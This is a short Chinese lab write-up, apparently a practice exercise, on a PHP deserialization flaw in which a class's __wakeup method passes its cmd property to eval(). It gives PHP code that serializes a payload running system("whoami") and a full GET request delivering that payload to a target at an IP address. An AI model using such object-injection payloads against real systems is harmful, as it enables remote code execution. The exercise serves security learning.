反序列化漏洞练习1

根据代码可以看出来sis类只是接收了参数cmd,下边是通过get获得cmd的值,所以可以在序列化过程中直接为cmd赋值。

根据源码编写序列化代码

php 复制代码
<?php
class sis{
    public $cmd='system("whoami");?>';
    public function __wakeup(){
        eval($this->cmd);
    }
}
$a = new sis;
echo serialize($a);
?>

为cmd赋值后,直接将整个sis类序列化

访问该代码

得到序列化的sis,将序列化后的sis以get的方式为cmd传参

124.221.58.83:81/s1.php?cmd=O:3:"sis":1:{s:3:"cmd";s:19:"system("whoami");?>";}

完成

相关推荐
老虎06272 分钟前
JavaWeb前端(HTML,CSS具体案例)
前端·css·html
Mintopia8 分钟前
一个月速成 AI 工程师:从代码小白到智能工匠的修炼手册
前端·javascript·aigc
Mintopia11 分钟前
Next.js 全栈:接收和处理请求
前端·javascript·next.js
tanyongxi6620 分钟前
C++ 特殊类设计与单例模式解析
java·开发语言·数据结构·c++·算法·单例模式
遗憾皆是温柔22 分钟前
24. 什么是不可变对象,好处是什么
java·开发语言·面试·学习方法
wearegogog12343 分钟前
C语言中的输入输出函数:构建程序交互的基石
c语言·开发语言·交互
袁煦丞1 小时前
2025.8.18实验室【代码跑酷指南】Jupyter Notebook程序员的魔法本:cpolar内网穿透实验室第622个成功挑战
前端·程序员·远程工作
Fine姐1 小时前
The Network Link Layer: 无线传感器中Delay Tolerant Networks – DTNs 延迟容忍网络
开发语言·网络·php·硬件架构
Joker Zxc1 小时前
【前端基础】flex布局中使用`justify-content`后,最后一行的布局问题
前端·css